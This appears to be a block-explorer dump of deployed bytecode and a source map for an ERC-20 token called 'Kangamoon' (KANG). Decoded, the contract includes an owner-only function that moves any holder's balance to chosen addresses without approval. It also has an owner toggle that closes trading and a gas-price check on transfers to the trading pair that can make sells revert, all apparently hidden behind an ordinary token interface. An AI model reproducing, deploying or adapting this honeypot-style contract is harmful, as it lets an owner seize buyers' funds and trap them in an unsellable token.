5b82525050565b600061170982611b5c565b6117138185611b67565b9350611723818560208601611e77565b61172c81611f82565b840191505092915050565b6000611744602383611b67565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117aa602283611b67565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611810602683611b67565b91507f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e60008301527f2076616c756500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611876601d83611b67565b91507f547261646520686173206e6f74206265656e206f70656e6564207965740000006000830152602082019050919050565b60006118b6602583611b67565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061191c600983611b67565b91507f4e6f74206f776e657200000000000000000000000000000000000000000000006000830152602082019050919050565b600061195c602483611b67565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6119be81611e3c565b82525050565b6119cd81611e46565b82525050565b60006020820190506119e860008301846116d1565b92915050565b6000602082019050611a0360008301846116e0565b92915050565b6000602082019050611a1e60008301846116ef565b92915050565b60006020820190508181036000830152611a3e81846116fe565b905092915050565b60006020820190508181036000830152611a5f81611737565b9050919050565b60006020820190508181036000830152611a7f8161179d565b9050919050565b60006020820190508181036000830152611a9f81611803565b9050919050565b60006020820190508181036000830152611abf81611869565b9050919050565b60006020820190508181036000830152611adf816118a9565b9050919050565b60006020820190508181036000830152611aff8161190f565b9050919050565b60006020820190508181036000830152611b1f8161194f565b9050919050565b6000602082019050611b3b60008301846119b5565b92915050565b6000602082019050611b5660008301846119c4565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b8382611e3c565b9150611b8e83611e3c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611bc357611bc2611f24565b5b828201905092915050565b6000611bd982611e3c565b9150611be483611e3c565b925082611bf457611bf3611f53565b5b828204905092915050565b6000808291508390505b6001851115611c4957808604811115611c2557611c24611f24565b5b6001851615611c345780820291505b8081029050611c4285611f93565b9450611c09565b94509492505050565b6000611c5d82611e3c565b9150611c6883611e46565b9250611c957fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9d565b905092915050565b600082611cad5760019050611d69565b81611cbb5760009050611d69565b8160018114611cd15760028114611cdb57611d0a565b6001915050611d69565b60ff841115611ced57611cec611f24565b5b8360020a915084821115611d0457611d03611f24565b5b50611d69565b5060208310610133831016604e8410600b8410161715611d3f5782820a905083811115611d3a57611d39611f24565b5b611d69565b611d4c8484846001611bff565b92509050818404811115611d6357611d62611f24565b5b81810290505b9392505050565b6000611d7b82611e3c565b9150611d8683611e3c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611dbf57611dbe611f24565b5b828202905092915050565b6000611dd582611e3c565b9150611de083611e3c565b925082821015611df357611df2611f24565b5b828203905092915050565b6000611e0982611e1c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611e5e82611e65565b9050919050565b6000611e7082611e1c565b9050919050565b60005b83811015611e95578082015181840152602081019050611e7a565b83811115611ea4576000848401525b50505050565b6000611eb582611e3c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611ee857611ee7611f24565b5b600182019050919050565b6000611efe82611e3c565b9150611f0983611e3c565b925082611f1957611f18611f53565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b611fa981611dfe565b8114611fb457600080fd5b50565b611fc081611e3c565b8114611fcb57600080fd5b5056fea2646970667358221220677ac5c291d3e9940fdaaa298b63fe2368d60f6cba6d69166f6dd66ceca25e5b64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461033b578063c9567bf914610378578063dd62ed3e1461038f578063e194c2b2146103cc576100fe565b806370a082311461027f5780638da5cb5b146102bc57806395d89b41146102e75780639e94590b14610312576100fe565b806318160ddd116100c657806318160ddd146101c157806323b872dd146101ec578063313ce567146102295780633c9f5ed614610254576100fe565b806303c525731461010357806306fdde031461012e578063095ea7b3146101595780631694505e14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f7565b6040516101259190611b26565b60405180910390f35b34801561013a57600080fd5b506101436103fd565b6040516101509190611a24565b60405180910390f35b34801561016557600080fd5b50610180600480360381019061017b9190611695565b61043a565b60405161018d91906119ee565b60405180910390f35b3480156101a257600080fd5b506101ab610458565b6040516101b89190611a09565b60405180910390f35b3480156101cd57600080fd5b506101d661047e565b6040516101e39190611b26565b60405180910390f35b3480156101f857600080fd5b50610213600480360381019061020e91906115bd565b6104a2565b60405161022091906119ee565b60405180910390f35b34801561023557600080fd5b5061023e610561565b60405161024b9190611b41565b60405180910390f35b34801561026057600080fd5b5061026961056a565b60405161027691906119ee565b60405180910390f35b34801561028b57600080fd5b506102a660048036038101906102a19190611558565b610581565b6040516102b39190611b26565b60405180910390f35b3480156102c857600080fd5b506102d16105ca565b6040516102de91906119d3565b60405180910390f35b3480156102f357600080fd5b506102fc6105f3565b6040516103099190611a24565b60405180910390f35b34801561031e57600080fd5b506103396004803603810190610334919061160c565b610630565b005b34801561034757600080fd5b50610362600480360381019061035d9190611695565b610a1a565b60405161036f91906119ee565b60405180910390f35b34801561038457600080fd5b5061038d610a3d565b005b34801561039b57600080fd5b506103b660048036038101906103b19190611581565b610a71565b6040516103c39190611b26565b60405180910390f35b3480156103d857600080fd5b506103e1610af8565b6040516103ee9190611b26565b60405180910390f35b60045481565b60606040518060400160405280600981526020017f4b616e67616d6f6f6e0000000000000000000000000000000000000000000000815250905090565b600061044e610447610c6d565b8484610c75565b6001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a61048e9190611c52565b633b9aca0061049d9190611d70565b905090565b60006104af848484610e40565b610556846104bb610c6d565b61055185600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610508610c6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136190919063ffffffff16565b610c75565b600190509392505050565b60006012905090565b6000600660009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4b414e4700000000000000000000000000000000000000000000000000000000815250905090565b6106386105ca565b73ffffffffffffffffffffffffffffffffffffffff16610656610c6d565b73ffffffffffffffffffffffffffffffffffffffff161461067657600080fd5b60005b84849050811015610a125761072d6012600a6106959190611c52565b8484848181106106ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356106df9190611d70565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136190919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108666012600a6107819190611c52565b8484848181106107ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356107cb9190611d70565b60026000888886818110610808577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061081d9190611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c1b90919063ffffffff16565b600260008787858181106108a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906108b89190611558565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084848281811061092f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906109449190611558565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6109a09190611c52565b8686868181106109d9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356109ea9190611d70565b6040516109f79190611b26565b60405180910390a38080610a0a90611eaa565b915050610679565b505050505050565b600080610a25610c6d565b9050610a32818585610e40565b600191505092915050565b610a456113ae565b600660009054906101000a900460ff1615600660006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b600080831415610b115760009050610b61565b8183610b1d9190611d70565b9050818382610b2c9190611bce565b14610b60577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b92915050565b6000808211610b9f577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60008284610bad9190611bce565b90508284610bbb9190611ef3565b8184610bc79190611d70565b610bd19190611b78565b8414610c06577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8284610c129190611bce565b91505092915050565b6000808284610c2a9190611b78565b905083811015610c63577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc90611b06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4c90611a66565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e339190611b26565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea790611ac6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790611a46565b60405180910390fd5b80610f2a84610581565b1015610f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6290611a86565b60405180910390fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156110115750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156110fe57600660009054906101000a900460ff16611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c90611aa6565b60405180910390fd5b6064600454836110759190611d70565b61107f9190611bce565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110fd576064600554836110e79190611d70565b6110f19190611bce565b90506110fc84611445565b5b5b60008111156111fb5780600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111529190611b78565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111f29190611b26565b60405180910390a35b8161120585610581565b61120f9190611dca565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261125e9190611dca565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a89190611b78565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856113469190611dca565b6040516113539190611b26565b60405180910390a350505050565b60008183101561139a577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b81836113a69190611dca565b905092915050565b6113b6610c6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143a90611ae6565b60405180910390fd5b565b600061145082610581565b111561148757600660009054906101000a900460ff1661147a57611475600a5461148a565b611486565b611485600b5461148a565b5b5b50565b803a111561149757600080fd5b50565b6000813590506114a981611fa0565b92915050565b60008083601f8401126114c157600080fd5b8235905067ffffffffffffffff8111156114da57600080fd5b6020830191508360208202830111156114f257600080fd5b9250929050565b60008083601f84011261150b57600080fd5b8235905067ffffffffffffffff81111561152457600080fd5b60208301915083602082028301111561153c57600080fd5b9250929050565b60008135905061155281611fb7565b92915050565b60006020828403121561156a57600080fd5b60006115788482850161149a565b91505092915050565b6000806040838503121561159457600080fd5b60006115a28582860161149a565b92505060206115b38582860161149a565b9150509250929050565b6000806000606084860312156115d257600080fd5b60006115e08682870161149a565b93505060206115f18682870161149a565b925050604061160286828701611543565b9150509250925092565b60008060008060006060868803121561162457600080fd5b60006116328882890161149a565b955050602086013567ffffffffffffffff81111561164f57600080fd5b61165b888289016114af565b9450945050604086013567ffffffffffffffff81111561167a57600080fd5b611686888289016114f9565b92509250509295509295909350565b600080604083850312156116a857600080fd5b60006116b68582860161149a565b92505060206116c785828601611543565b9150509250929050565b6116da81611dfe565b82525050565b6116e981611e10565b82525050565b6116f881611e53565b82525050565b600061170982611b5c565b6117138185611b67565b9350611723818560208601611e77565b61172c81611f82565b840191505092915050565b6000611744602383611b67565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117aa602283611b67565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611810602683611b67565b91507f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e60008301527f2076616c756500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611876601d83611b67565b91507f547261646520686173206e6f74206265656e206f70656e6564207965740000006000830152602082019050919050565b60006118b6602583611b67565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061191c600983611b67565b91507f4e6f74206f776e657200000000000000000000000000000000000000000000006000830152602082019050919050565b600061195c602483611b67565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6119be81611e3c565b82525050565b6119cd81611e46565b82525050565b60006020820190506119e860008301846116d1565b92915050565b6000602082019050611a0360008301846116e0565b92915050565b6000602082019050611a1e60008301846116ef565b92915050565b60006020820190508181036000830152611a3e81846116fe565b905092915050565b60006020820190508181036000830152611a5f81611737565b9050919050565b60006020820190508181036000830152611a7f8161179d565b9050919050565b60006020820190508181036000830152611a9f81611803565b9050919050565b60006020820190508181036000830152611abf81611869565b9050919050565b60006020820190508181036000830152611adf816118a9565b9050919050565b60006020820190508181036000830152611aff8161190f565b9050919050565b60006020820190508181036000830152611b1f8161194f565b9050919050565b6000602082019050611b3b60008301846119b5565b92915050565b6000602082019050611b5660008301846119c4565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b8382611e3c565b9150611b8e83611e3c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611bc357611bc2611f24565b5b828201905092915050565b6000611bd982611e3c565b9150611be483611e3c565b925082611bf457611bf3611f53565b5b828204905092915050565b6000808291508390505b6001851115611c4957808604811115611c2557611c24611f24565b5b6001851615611c345780820291505b8081029050611c4285611f93565b9450611c09565b94509492505050565b6000611c5d82611e3c565b9150611c6883611e46565b9250611c957fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9d565b905092915050565b600082611cad5760019050611d69565b81611cbb5760009050611d69565b8160018114611cd15760028114611cdb57611d0a565b6001915050611d69565b60ff841115611ced57611cec611f24565b5b8360020a915084821115611d0457611d03611f24565b5b50611d69565b5060208310610133831016604e8410600b8410161715611d3f5782820a905083811115611d3a57611d39611f24565b5b611d69565b611d4c8484846001611bff565b92509050818404811115611d6357611d62611f24565b5b81810290505b9392505050565b6000611d7b82611e3c565b9150611d8683611e3c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611dbf57611dbe611f24565b5b828202905092915050565b6000611dd582611e3c565b9150611de083611e3c565b925082821015611df357611df2611f24565b5b828203905092915050565b6000611e0982611e1c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611e5e82611e65565b9050919050565b6000611e7082611e1c565b9050919050565b60005b83811015611e95578082015181840152602081019050611e7a565b83811115611ea4576000848401525b50505050565b6000611eb582611e3c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611ee857611ee7611f24565b5b600182019050919050565b6000611efe82611e3c565b9150611f0983611e3c565b925082611f1957611f18611f53565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b611fa981611dfe565b8114611fb457600080fd5b50565b611fc081611e3c565b8114611fcb57600080fd5b5056fea2646970667358221220677ac5c291d3e9940fdaaa298b63fe2368d60f6cba6d69166f6dd66ceca25e5b64736f6c63430008000033

Deployed Bytecode Sourcemap

3357:6001:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3838:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5185:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7718:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4145:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5560:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6310:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5371:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5462:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5676:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2431:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5276;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8779:444;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6070:232;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9231:87;;;;;;;;;;;;;:::i;:::-;;5861:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3873:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3838:28;;;;:::o;5185:83::-;5222:13;5255:5;;;;;;;;;;;;;;;;;5248:12;;5185:83;:::o;7718:193::-;7820:4;7842:39;7851:12;:10;:12::i;:::-;7865:7;7874:6;7842:8;:39::i;:::-;7899:4;7892:11;;7718:193;;;;:::o;4145:41::-;;;;;;;;;;;;;:::o;5560:108::-;5621:7;3643:2;3705;:13;;;;:::i;:::-;3692:10;:26;;;;:::i;:::-;5641:19;;5560:108;:::o;6310:353::-;6442:4;6459:36;6469:6;6477:9;6488:6;6459:9;:36::i;:::-;6506:127;6529:6;6550:12;:10;:12::i;:::-;6577:45;6615:6;6577:11;:19;6589:6;6577:19;;;;;;;;;;;;;;;:33;6597:12;:10;:12::i;:::-;6577:33;;;;;;;;;;;;;;;;:37;;:45;;;;:::i;:::-;6506:8;:127::i;:::-;6651:4;6644:11;;6310:353;;;;;:::o;5371:83::-;5412:5;3643:2;5430:16;;5371:83;:::o;5462:90::-;5509:4;5533:11;;;;;;;;;;;5526:18;;5462:90;:::o;5676:177::-;5795:7;5827:9;:18;5837:7;5827:18;;;;;;;;;;;;;;;;5820:25;;5676:177;;;:::o;2431:87::-;2477:7;2504:6;;;;;;;;;;;2497:13;;2431:87;:::o;5276:::-;5315:13;5348:7;;;;;;;;;;;;;;;;;5341:14;;5276:87;:::o;8779:444::-;8907:7;:5;:7::i;:::-;8891:23;;:12;:10;:12::i;:::-;:23;;;8883:32;;;;;;8933:9;8928:288;8952:2;;:9;;8948:1;:13;8928:288;;;9001:48;3643:2;9033;:15;;;;:::i;:::-;9021:6;;9028:1;9021:9;;;;;;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;9001:9;:15;9011:4;9001:15;;;;;;;;;;;;;;;;:19;;:48;;;;:::i;:::-;8983:9;:15;8993:4;8983:15;;;;;;;;;;;;;;;:66;;;;9083:50;3643:2;9117;:15;;;;:::i;:::-;9104:6;;9111:1;9104:9;;;;;;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;9083:9;:16;9093:2;;9096:1;9093:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9083:16;;;;;;;;;;;;;;;;:20;;:50;;;;:::i;:::-;9064:9;:16;9074:2;;9077:1;9074:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9064:16;;;;;;;;;;;;;;;:69;;;;9168:2;;9171:1;9168:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9153:51;;9162:4;9153:51;;;3643:2;9188;:15;;;;:::i;:::-;9175:6;;9182:1;9175:9;;;;;;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;9153:51;;;;;;:::i;:::-;;;;;;;;8963:3;;;;;:::i;:::-;;;;8928:288;;;;8779:444;;;;;:::o;6070:232::-;6184:4;6206:13;6222:12;:10;:12::i;:::-;6206:28;;6245:27;6255:5;6262:2;6266:5;6245:9;:27::i;:::-;6290:4;6283:11;;;6070:232;;;;:::o;9231:87::-;2390:13;:11;:13::i;:::-;9299:11:::1;;;;;;;;;;;9298:12;9284:11;;:26;;;;;;;;;;;;;;;;;;9231:87::o:0;5861:201::-;5995:7;6027:11;:18;6039:5;6027:18;;;;;;;;;;;;;;;:27;6046:7;6027:27;;;;;;;;;;;;;;;;6020:34;;5861:201;;;;:::o;3873:29::-;;;;:::o;2665:202::-;2723:9;2754:1;2749;:6;2745:47;;;2779:1;2772:8;;;;2745:47;2810:1;2806;:5;;;;:::i;:::-;2802:9;;2838:1;2833;2829;:5;;;;:::i;:::-;:10;2822:18;;;;;;;;;;;;2665:202;;;;;:::o;2875:189::-;2933:7;2964:1;2960;:5;2953:13;;;;;;;;;;;;2977:9;2993:1;2989;:5;;;;:::i;:::-;2977:17;;3030:1;3026;:5;;;;:::i;:::-;3021:1;3017;:5;;;;:::i;:::-;:15;;;;:::i;:::-;3012:1;:20;3005:28;;;;;;;;;;;;3055:1;3051;:5;;;;:::i;:::-;3044:12;;;2875:189;;;;:::o;3203:147::-;3261:7;3281:9;3297:1;3293;:5;;;;:::i;:::-;3281:17;;3321:1;3316;:6;;3309:14;;;;;;;;;;;;3341:1;3334:8;;;3203:147;;;;:::o;2116:98::-;2169:7;2196:10;2189:17;;2116:98;:::o;7919:369::-;8063:1;8046:19;;:5;:19;;;;8038:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8144:1;8125:21;;:7;:21;;;;8117:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8226:6;8196:11;:18;8208:5;8196:18;;;;;;;;;;;;;;;:27;8215:7;8196:27;;;;;;;;;;;;;;;:36;;;;8264:7;8248:32;;8257:5;8248:32;;;8273:6;8248:32;;;;;;:::i;:::-;;;;;;;;7919:369;;;:::o;6671:1039::-;6776:1;6760:18;;:4;:18;;;;6752:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6853:1;6839:16;;:2;:16;;;;6831:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6933:6;6914:15;6924:4;6914:9;:15::i;:::-;:25;;6906:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;6993:17;7031:16;:22;7048:4;7031:22;;;;;;;;;;;;;;;;;;;;;;;;;7030:23;:48;;;;;7058:16;:20;7075:2;7058:20;;;;;;;;;;;;;;;;;;;;;;;;;7057:21;7030:48;7027:330;;;7103:11;;;;;;;;;;;7095:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;7196:3;7184:9;;7175:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;7163:36;;7223:13;;;;;;;;;;;7217:19;;:2;:19;;;7214:132;;;7291:3;7278:10;;7269:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;7257:37;;7313:17;7325:4;7313:11;:17::i;:::-;7214:132;7027:330;7384:1;7372:9;:13;7369:164;;;7452:9;7427;:24;7445:4;7427:24;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;7402:9;:24;7420:4;7402:24;;;;;;;;;;;;;;;:59;;;;7504:4;7481:40;;7490:4;7481:40;;;7511:9;7481:40;;;;;;:::i;:::-;;;;;;;;7369:164;7580:6;7562:15;7572:4;7562:9;:15::i;:::-;:24;;;;:::i;:::-;7545:9;:15;7555:4;7545:15;;;;;;;;;;;;;;;:41;;;;7638:9;7629:6;:18;;;;:::i;:::-;7612:9;:13;7622:2;7612:13;;;;;;;;;;;;;;;;:36;;;;:::i;:::-;7598:9;:13;7608:2;7598:13;;;;;;;;;;;;;;;:50;;;;7679:2;7664:38;;7673:4;7664:38;;;7692:9;7683:6;:18;;;;:::i;:::-;7664:38;;;;;;:::i;:::-;;;;;;;;6671:1039;;;;:::o;3072:123::-;3130:7;3162:1;3157;:6;;3150:14;;;;;;;;;;;;3186:1;3182;:5;;;;:::i;:::-;3175:12;;3072:123;;;;:::o;2526:108::-;2600:12;:10;:12::i;:::-;2590:22;;:6;;;;;;;;;;:22;;;2582:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;2526:108::o;8383:255::-;8460:1;8444:13;8454:2;8444:9;:13::i;:::-;:17;8441:189;;;8483:11;;;;;;;;;;;8478:141;;8515:25;8526:13;;8515:10;:25::i;:::-;8478:141;;;8581:22;8592:10;;8581;:22::i;:::-;8478:141;8441:189;8383:255;:::o;8646:125::-;8723:4;8709:11;:18;8705:59;;;8744:8;;;8705:59;8646:125;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;559:367::-;;;692:3;685:4;677:6;673:17;669:27;659:2;;710:1;707;700:12;659:2;746:6;733:20;723:30;;776:18;768:6;765:30;762:2;;;808:1;805;798:12;762:2;845:4;837:6;833:17;821:29;;899:3;891:4;883:6;879:17;869:8;865:32;862:41;859:2;;;916:1;913;906:12;859:2;649:277;;;;;:::o;932:139::-;;1016:6;1003:20;994:29;;1032:33;1059:5;1032:33;:::i;:::-;984:87;;;;:::o;1077:262::-;;1185:2;1173:9;1164:7;1160:23;1156:32;1153:2;;;1201:1;1198;1191:12;1153:2;1244:1;1269:53;1314:7;1305:6;1294:9;1290:22;1269:53;:::i;:::-;1259:63;;1215:117;1143:196;;;;:::o;1345:407::-;;;1470:2;1458:9;1449:7;1445:23;1441:32;1438:2;;;1486:1;1483;1476:12;1438:2;1529:1;1554:53;1599:7;1590:6;1579:9;1575:22;1554:53;:::i;:::-;1544:63;;1500:117;1656:2;1682:53;1727:7;1718:6;1707:9;1703:22;1682:53;:::i;:::-;1672:63;;1627:118;1428:324;;;;;:::o;1758:552::-;;;;1900:2;1888:9;1879:7;1875:23;1871:32;1868:2;;;1916:1;1913;1906:12;1868:2;1959:1;1984:53;2029:7;2020:6;2009:9;2005:22;1984:53;:::i;:::-;1974:63;;1930:117;2086:2;2112:53;2157:7;2148:6;2137:9;2133:22;2112:53;:::i;:::-;2102:63;;2057:118;2214:2;